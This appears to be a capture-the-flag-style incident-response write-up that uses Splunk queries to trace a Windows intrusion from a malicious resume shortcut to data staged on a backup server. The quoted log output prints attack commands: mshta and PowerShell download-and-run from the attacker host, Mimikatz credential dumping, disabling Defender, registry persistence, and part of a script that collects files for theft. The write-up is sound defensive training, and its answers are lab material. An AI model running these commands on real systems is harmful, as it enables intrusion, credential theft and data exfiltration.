

1. **What is the hostname where the Initial Access occurred?**
2. **What MITRE ATT&CK sub-technique ID describes the initial code execution method on the beachhead?**
3. **What is the full path of the malicious file that led to Initial Access?**
4. **What is the full path to the LOLBin abused by the attacker for Initial Access?**
5. **What is the IP address of the attacker's Command & Control server?**
6. **What is the full path of the process responsible for the C2 beaconing?**
7. **What is the full registry path that the threat actor modified for persistence on the beachhead host?**
8. **What tool and parameter did the threat actor use for credential dumping?**
9. **The threat actor used PowerShell to weaken endpoint defenses. What specific parameter did they attempt to change?**
10. **The threat actor used a remote administration tool to execute commands on another machine. What is the PID of the process that initiated the remote execution?**
11. **At what time did the threat actor successfully log in to the remote system from the beachhead?**
12. **What is the full path of the PowerShell script used by the threat actor to collect data?**
13. **What are the first four file extensions targeted by this script for collection?**
14. **What is the full path to the staged file containing collected files?**

---

1. **What is the hostname where the Initial Access occurred?**

   Initially, I started checking EventCodes 1 and 11 to identify the Initial Access on the hostname. However, there were many irrelevant events related to Splunk, Python, various updates, and logs associated with later stages of the attack. My focus was specifically on finding the file related to the Initial Access

   After reviewing these logs, I hypothesized that the file might have been downloaded from the internet and subsequently executed. Therefore, I started examining all events with EventCode 15

   Query: *index=* EventCode=15*
   | table _time, User, TargetFilename, Image

_time	User	TargetFilename	Image
2025-11-14 05:04:25	NOT_TRANSLATED JP-BROWN-WS\jp.brown	C:\Users\jp.brown\Downloads\TravisClart_Resume.zip:Zone.Identifier	C:\Program Files\Google\Chrome\Application\chrome.exe

   Answer: JP-BROWN-WS

2. **What MITRE ATT&CK sub-technique ID describes the initial code execution method on the beachhead?**

   To investigate this, I open the MITRE ATT&CK Matrix and look for a technique and sub-technique related to exploiting a malicious file on a PC

T1204	User Execution	An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing.
.001	Malicious Link	An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.
.002	Malicious File	An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.
.003	Malicious Image	Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services

Answer: T1204.002

3. **What is the full path of the malicious file that led to Initial Access?**

I know the name of the downloaded file, so I decide to look for the file after it was extracted. The search by filename returns results

```
index=* *TravisClart_Resume*
| stats count by TargetFilename
```

Time range: All time

✓ **6 events** (before 10/14/26 4:55:06.000 PM) No Event Sampling — Job — Smart Mode

Events Patterns **Statistics (3)** Visualization

Show: 20 Per Page — Format — Preview: On

TargetFilename	count
C:\Users\jp.brown\Downloads\TravisClart_Resume.pdf.lnk	1
C:\Users\jp.brown\Downloads\TravisClart_Resume.zip	2
C:\Users\jp.brown\Downloads\TravisClart_Resume.zip:Zone.Identifier	3

Answer: C:\Users\jp.brown\Downloads\TravisClart_Resume.pdf.lnk

4. **What is the full path to the LOLBin abused by the attacker for Initial Access?**

The task states that a LOLBin was abused, so I decide to search for EventCode 1 events and filter for processes whose paths start with C:\Windows\System32\, since many LOLBins are located there

```
index=* EventCode=1 Image=C:\\Windows\\System32\\*
| stats count by Image, CommandLine
| sort + _time
```

Time range: Since da

✓ **436 events** (11/14/25 5:04:42.000 AM to 10/14/26 5:04:47.000 PM) No Event Sampling — Job

Events Patterns **Statistics (125)** Visualization

Show: 20 Per Page — Format — Preview: On — Prev 1 2 3 **4** 5

Image	CommandLine
C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /c ""C:\Users\jp.brown\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RunWallpaperSetup.cmd" "
C:\Windows\System32\cmd.exe	cmd.exe
C:\Windows\System32\csrss.exe	%%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
C:\Windows\System32\ctfmon.exe	"ctfmon.exe"
C:\Windows\System32\dwm.exe	"dwm.exe"
C:\Windows\System32\findstr.exe	"C:\Windows\system32\findstr.exe" "/C:OS Name" "/C:OS Version"
C:\Windows\System32\logoff.exe	"C:\Windows\system32\logoff.exe"
C:\Windows\System32\mshta.exe	"C:\Windows\System32\mshta.exe" http://10.10.14.174:80/KsWLx.hta
C:\Windows\System32\mstsc.exe	mstsc.exe /restrictedadmin /v:10.10.152.240

Answer: C:\Windows\System32\mshta.exe

5. **What is the IP address of the attacker's Command & Control server?**

The screenshot in Question 4 contains the answer to this question

Answer: 10.10.14.174

6. **What is the full path of the process responsible for the C2 beaconing?**

At this point, I decided to investigate which application was generating persistent connections to the attacker's C2 server

```
index=* EventCode=3 DestinationIp=10.10.14.174
| stats count by Image
```

Time range: Since date time

✓ **12,641 events** (11/14/25 5:04:42.000 AM to 10/14/26 5:08:31.000 PM) No Event Sampling — Job — Smart Mode

Events Patterns **Statistics (2)** Visualization

Show: 20 Per Page — Format — Preview: On

Image	count
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	1
C:\Windows\Temp\RuntimeBroker.exe	12640

Answer: C:\Windows\Temp\RuntimeBroker.exe

7. **What is the full registry path that the threat actor modified for persistence on the beachhead host?**

To answer this question, I tried searching for the command line of the abused LOLBin

```
index=* EventCode=1 (ParentImage=*mshta* OR Image=*mshta*)
| stats count by CommandLine
```

Time range: All time

✓ **4 events** (before 10/14/26 5:36:11.000 PM) No Event Sampling Job Smart Mode

Events Patterns **Statistics (4)** Visualization

Show: 20 Per Page Format Preview: On

CommandLine	count
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "(New-Object Net.WebClient).DownloadFile('http://10.10.14.174:80/RuntimeBroker.exe','C:\Windows\Temp\RuntimeBroker.exe')"	1
"C:\Windows\System32\mshta.exe" http://10.10.14.174:80/KsWLx.hta	1
"C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemMonitor /t REG_SZ /d "C:\Windows\Temp\RuntimeBroker.exe" /f	1
"C:\Windows\Temp\RuntimeBroker.exe"	1

Answer: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemMonitor

8. **What tool and parameter did the threat actor use for credential dumping?**

To answer this question, I decided to examine all PowerShell-related events on the compromised host. After a brief analysis, I found events related to the installation and execution of Mimikatz

```
index=* EventCode=1 host=JP-BROWN-WS *powershell*
| stats count by CommandLine
```

Time range: A

✓ **3,204 events** (before 10/14/26 5:54:23.000 PM) No Event Sampling Job

Events Patterns **Statistics (44)** Visualization

Show: 20 Per Page Format Preview: On Prev 1

CommandLine
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-Service|Where-Object{$_.Status -eq 'Running' -and $_.StartType -eq 'Automatic'}"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-WmiObject Win32_LogicalDisk"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Test-Path C:\Backups\Database*.bak"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "(New-Object Net.WebClient).DownloadFile('http://10.10.14.174:80/RuntimeBroker.exe','C:\Windows\Temp\RuntimeBroker.exe')"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Answer: Invoke-Mimikatz -DumpCreds

9. **The threat actor used PowerShell to weaken endpoint defenses. What specific parameter did they attempt to change?**

Here, I used the same query as in Q8

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w hidden -c "Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue; Set-MpPreference -ExclusionPath 'C:\' -ErrorAction SilentlyContinue"
```

Answer: DisableRealtimeMonitoring

10. **The threat actor used a remote administration tool to execute commands on another machine. What is the PID of the process that initiated the remote execution?**

Here, I decided to search for events related to utilities that are commonly used for remote execution

```
index=* host=JP-BROWN-WS (*PsExec* OR *wmic* OR *mstsc* OR *wsmprovhost*)
| table CommandLine, ProcessId
```

Time range: All time

✓ **22 events** (before 10/14/26 6:03:15.000 PM) No Event Sampling Job Smart Mode

Events Patterns **Statistics (22)** Visualization

Show: 20 Per Page Format Preview: On Prev 1 2 Next

CommandLine	ProcessId
	6428
	6428
	6428
mstsc.exe /restrictedadmin /v:10.10.152.240	6428
	6612
	6612
	6612
PsExec64.exe \\10.10.152.240 cmd /c "reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f"	6612

Answer: 6612

11. **At what time did the threat actor successfully log in to the remote system from the beachhead?**

To answer this question, I examined the events from the second available host in our Splunk instance and began analyzing EventCode 1. After reviewing the logs, I identified a login followed by reconnaissance commands, so I hypothesized that this was the login in question

2025-11-14 05:19:42	C:\Windows\System32\LogonUI.exe	"LogonUI.exe" /flags:0x0 /state0:0xa38f5055 /state1:0x41c64e6d

2025-11-14 05:20:11	C:\Windows\System32\whoami.exe	whoami /priv
2025-11-14 05:20:15	C:\Windows\System32\whoami.exe	whoami /groups

Answer: 2025-11-14 05:19:42

12. What is the full path of the PowerShell script used by the threat actor to collect data?

The question states that a PowerShell script was used, so I decide to check all process creation events related to PowerShell scripts (.ps1)

```
index=* host=BKUP-SRV01 EventCode=1 *ps1*
| stats count by CommandLine
```

✓ **189 events** (before 10/14/26 6:10:05.000 PM) No Event Sampling — Job

Events | Patterns | **Statistics (23)** | Visualization

Show: 20 Per Page | Format | Preview: On

CommandLine
"C:\Windows\System32\Wbem\WMIC.exe" path win32_ntlogevent where logfile='application' get message,type
"C:\Windows\System32\Wbem\WMIC.exe" service where state='running' get name,processid
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-ChildItem C:\Backups -Recurse|Measure-Object -Property Length -Sum"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-ChildItem C:\Backups\Web -Recurse"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-EventLog -LogName Application -Newest 50"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-Process|Sort-Object CPU -Descending|Select-Object -First 10"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-Service|Where-Object{$_.Status -eq 'Running' -and $_.StartType -eq 'Automatic'}"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Get-WmiObject Win32_LogicalDisk"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Test-Path C:\Backups\Database*.bak"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "Invoke-WebRequest -Uri "http://10.10.14.174:80/Setup-BackupServer.ps1" -OutFile "C:\Windows\Temp\Setup-BackupServer.ps1"; & "C:\Windows\Temp\Setup-BackupServer.ps1""

Answer: C:\Windows\Temp\Setup-BackupServer.ps1

13. What are the first four file extensions targeted by this script for collection?

Our task includes a KAPE Triage Collection. From the answer to question 12, we know that the script should be located in the KAPE snapshot

Setup-BackupServer.ps1

```
$ErrorActionPreference = 'SilentlyContinue'

$tempDir = "$env:TEMP\~BK" + (Get-Random -Maximum 9999)
$extensions =
@('*.bak','*.backup','*.sql','*.mdb','*.accdb','*.vhd','*.vhdx','*.vmdk','*.config','*.xml','*.key','*.pem','*.pfx','*.p12','*.cer','*.crt')

$locations = @(
    "C:\Backups",
    "C:\WindowsImageBackup",
    "C:\Backup",
    "C:\Data\Backups",
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Desktop",
    "C:\inetpub\wwwroot\App_Data",
    "C:\Program Files\Microsoft SQL Server\MSSQL*\MSSQL\Backup",
    "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys"
)

New-Item -Path $tempDir -ItemType Directory -Force | Out-Null

$locations | ForEach-Object {
    $path = $_
    $resolvedPaths = @()
    if ($path -like "*`**") {
        $basePath = Split-Path $path -Parent
        $pattern = Split-Path $path -Leaf
        if (Test-Path $basePath) {
            $resolvedPaths = Get-ChildItem -Path $basePath -Directory -Filter $pattern -ErrorAction SilentlyContinue | Select-Object -
ExpandProperty FullName
        }
    } else {
        $resolvedPaths = @($path)
    }

    foreach ($resolvedPath in $resolvedPaths) {
```

Answer: .bak, .backup, .sql, .mdb

14. What is the full path to the staged file containing collected files?

During further analysis, I found three variables.

The first assigns the backup file a name consisting of sysbackup_ + script execution date (yyyyMMdd).

The second archives the file and the third changes its extension to .dat.

```
                    while (Test-Path $dest) {
                        $dest = Join-Path $tempDir ($_.BaseName + "_$i" + $_.Extension)
                        $i++
                    }
                    Copy-Item $_.FullName -Destination $dest -Force -ErrorAction SilentlyContinue
                }
            }
        }
    }
}

$archiveName = "sysbackup_" + (Get-Date -Format 'yyyyMMdd') 1
$archiveZip = "$env:TEMP\$archiveName.zip" 2
$archiveTmp = "$env:TEMP\$archiveName.dat" 3

if (Test-Path $archiveZip) { Remove-Item $archiveZip -Force -ErrorAction SilentlyContinue }
if (Test-Path $archiveTmp) { Remove-Item $archiveTmp -Force -ErrorAction SilentlyContinue }

Compress-Archive -Path "$tempDir\*" -DestinationPath $archiveZip -CompressionLevel Fastest -ErrorAction SilentlyContinue

if (Test-Path $archiveZip) {
    Rename-Item -Path $archiveZip -NewName "$archiveName.dat" -Force -ErrorAction SilentlyContinue
}

Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue

if (Test-Path $archiveZip) {
    Remove-Item $archiveZip -Force -ErrorAction SilentlyContinue
}
```

To determine the full filename we need to identify, we should find the log associated with the script's execution on our host

```
1 index=* host=BKUP-SRV01 EventCode=1 Setup-BackupServer.ps1*
2 | stats count by CommandLine, _time
```

Time range: All time

✓ **3 events** (before 10/14/26 6:23:47.000 PM) No Event Sampling Job Smart Mode

Events Patterns **Statistics (3)** Visualization

Show: 20 Per Page Format Preview: On

CommandLine	_time	count
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "Invoke-WebRequest -Uri "http://10.10.14.174:80/Setup-BackupServer.ps1" -OutFile "C:\Windows\Temp\Setup-BackupServer.ps1"; & "C:\Windows\Temp\Setup-BackupServer.ps1""	2025-11-14 05:23:22	1
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "C:\Windows\Temp\Setup-BackupServer.ps1"	2025-11-14 05:23:58	1
powershell -exec bypass -w hidden -c 'Invoke-WebRequest -Uri "http://10.10.14.174:80/Setup-BackupServer.ps1" -OutFile "C:\Windows\Temp\Setup-BackupServer.ps1";	2025-11-14 05:21:26	1

The script also shows that the file is saved in %TEMP% (C:\Users*USER*\AppData\Local\Temp\). In our case, the path is C:\Users\bkup-svc\AppData\Local\Temp\

Answer: C:\Users\bkup-svc\AppData\Local\Temp\sysbackup_20251114.dat